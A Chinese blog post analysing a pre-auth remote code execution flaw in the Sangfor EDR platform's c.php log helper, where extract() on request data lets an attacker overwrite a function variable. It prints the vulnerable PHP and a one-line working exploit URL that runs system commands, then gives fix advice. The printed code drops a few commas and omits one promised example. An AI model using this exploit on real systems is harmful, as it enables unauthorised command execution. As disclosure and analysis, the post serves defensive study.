深信服终端检测响应平台 preauth RCE 0day 分析

 

0x00关于本文

这个护网太刺激了,才一天就爆出那么多0day出来。
而深信服这个玩意的0day非常重磅,甚至据说因为这个0day太猛,还要暂停演习,免得太不公平
但是在机缘巧合之下,笔者拿到了相关漏洞的代码,不禁哑然失笑,没想到这个漏洞居然这么低级,一个大厂开发的东西理应不该如此低级才对,但是事实就是这样,笔者也很惊讶

在这篇文章中,笔者会给出相关的漏洞代码,漏洞分析,EXP,修复措施

0x01 漏洞代码

漏洞出现在 tool/log/c.php里面
代码如下
<?php
/**
 * c.php
 * 查看ldb的日志
 * 支持正则表达式过滤,可以过滤文件以及每行日志
 */
 
call_user_func(function() {
    /**
     * 编解码
     * @param string $data 编解码数据
     * @return string 返回编解码数据
     */
    $code = function($data) {
        for ($i = 0; $i < strlen($data); ++$i) {
            $data[$i] = $data[$i] ^ 'G';
        }
        return $data;
    };
    
    /**
     * 加密请求
     * @param string $site  站点
     * @param string $query 请求串
     * @return string 返回请求URL
     */
    $request = function($site, $query) use(&$code) {
        $path = base64_encode($code($query));
        return "$site/$path";
    };
    
    /**
     * 解密回复
     * @param string $data 回复数据
     * @return array 返回回复数据
     */
    $response = function($data) use(&$code) {
        $ret = json_decode($data, true);
        if (is_null($ret)) {
            $dec = $code(base64_decode($data));
            $ret = json_decode($dec, true);
        }
        return $ret;
    };
    
    /**
     * 找到匹配的日志
     * @param string $path 文件路径匹配
     * @param string $item 日志项匹配
     * @param string $topn TOP N 
     * @param string $host 主机
     * @return array 返回匹配结果
     */
    $collect = function($path, $item, $topn, $host) use(&$request, &$response) {
        $path   = urlencode($path);
        $item   = urlencode($item);
        $result = file_get_contents($request("http://127.0.0.1:8089""op=ll&host=$host&path=$path&item=$item&top=$topn"));
        return $response($result);
    };
    
    /**
     * 显示某个表单域
     * @param array $info 表单域信息, array("name" => "xx", "value" => "xxx", "note" => "help");
     * @return
     */
    $show_input = function($info) {
        extract($info);
        $value = htmlentities($value);
        echo "<p><font size=2>$title: </font><input type=\"text\" size=30 id=\"$name\" name=\"$name\" value=\"$value\"><font size=2>$note</font></p>";
    };
    
    /**
     * 去掉反斜杠
     * @param string $var 值
     * @return string 返回去掉反斜杠的值
     */
    $strip_slashes = function($var) {
        if (!get_magic_quotes_gpc()) {
            return $var;
        }
        return stripslashes($var);
    };

    /**
     * 显示表单
     * @param array $params 请求参数
     * @return
     */
    $show_form = function($params) use(&$strip_slashes, &$show_input) {
        extract($params);
        $host  = isset($host)  ? $strip_slashes($host)  : "127.0.0.1";
        $path  = isset($path)  ? $strip_slashes($path)  : "";
        $row   = isset($row)   ? $strip_slashes($row)   : "";
        $limit = isset($limit) ? $strip_slashes($limit) : 1000;
        
        // 绘制表单
        echo "<pre>";
        echo '<form id="studio" name="studio" method="post" action="">';
        $show_input(array("title" => "Host ",  "name" => "host",  "value" => $host,  "note" => " - host, e.g. 127.0.0.1"));
        $show_input(array("title" => "Path ",  "name" => "path",  "value" => $path,  "note" => " - path regex, e.g. mapreduce"));
        $show_input(array("title" => "Row  ",  "name" => "row",   "value" => $row,   "note" => " - row regex, e.g. \s[w|e]\s"));
        $show_input(array("title" => "Limit",  "name" => "limit""value" => $limit, "note" => " - top n, e.g. 100"));
        echo '<input type="submit" id="button">';
        echo '</form>';
        echo "</pre>";
    };
    
    /**
     * 入口函数
     * @param array $argv 配置参数
     * @return
     */
    $main = function($argv) 
        use(&$collect) {
        extract($argv);
        if (!isset($limit)) {
            return;
        }
        $result = $collect($path, $row, $limit, $host);
        if (!is_array($result)) {
            echo $result, "\n";
            return;
        }
        if (!isset($result["success"]) || $result["success"] !== true) {
            echo $result, "\n";
            return;
        }
        foreach ($result["data"] as $host => $items) {
            $last = "";
            foreach ($items as $item) {
                if ($item["name"] != $last) {
                    $last = $item["name"];
                    echo "\n[$host] -> $last\n\n";
                }
                echo $item["item"], "\n";
            }
        }
    };
    
    set_time_limit(0);
    echo '<html><head><meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"></head>';
    echo '<body bgcolor="#e8ddcb">';
    echo "<p><b>Log Helper</b></p>";
    $show_form($_REQUEST);
    echo "<pre>";
    $main($_REQUEST);
    echo "</pre>";  
});
?>

0x02 漏洞分析

首先代码开头的call_user_func里面套一个function就很迷,搞这个在笔者眼里完全是多余的
因为其实就相当于执行function()里面的内容而已

接着我们在77-82行看到了他们定义的strip_slashes
笔者实在无法理解这些人为什么不直接用 function name($xxx){}的形式定义函数,而一定要弄个时髦的匿名函数,然后复制给一个变量,但是既然这么做了,我们就接着看下去

接着呢在89-94行里面,调用了这个函数
看起来就是调用对吧,很完美对吧,没什么问题对吧....只要不被变量覆盖就好
可惜的是,偏偏就是有变量覆盖

刚才代码那里,90行直接extrat($params),那么问题来了,$params从哪儿来的呢?
往下翻翻就能找到答案
啊这,直接从$_REQUEST里面来,这说明用户提交的参数被直接extract可以覆盖任意变量了..包括$strip_slashes

那么该怎么利用呢?
我们知道PHP是支持通过字符串来调用函数的
举个例子
这个会直接调用phpinfo函数
因此按照上面的代码,只需要把strip_slashes覆盖成我们想要执行的函数就可以了,而参数$host也可以覆盖,那么就相当于是可以调用任意函数,传入任意参数了!

0x03 POC/EXP

https://web/tool/log/c.php?strip_slashes=system&host=id
是的只需要这么一行就可以利用
防守方请注意,这是extract的$_REQUEST,因此无论是GET/POST/COOKIE的参数都可以用来覆盖,因此把这句话添加到WAF里面过滤是不可行的,攻击者可以轻易绕过!

0x04 修复方法

不要妄图设置WAF规则来修复!
直接删掉这里的c.php!
鉴于他们代码质量不佳,漏洞也一定不止这一处,建议直接下线,不然依然有被打穿的风险


0x05 最后说两句

现在HW太疯狂了,以前据说是Nday一起上,万箭齐发就可以了,现在是到处丢0day
以前是重金雇佣带黑客,现在是重金购买高危0day
这种贴近实战的攻防演习一下来,谁的东西能真正抗攻击抗0day,谁的是看起来很不错但实际上很粗糙,一下就能被看出来了。
尽管0day爆出来很刺激,蓝方的朋友们又得加班加点熬夜防护了,但这至少比让0day在黑市上面被转手114514次最后被犯罪分子利用来的好

评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷)

反-反蜜罐:以三个反蜜罐插件的缺陷为例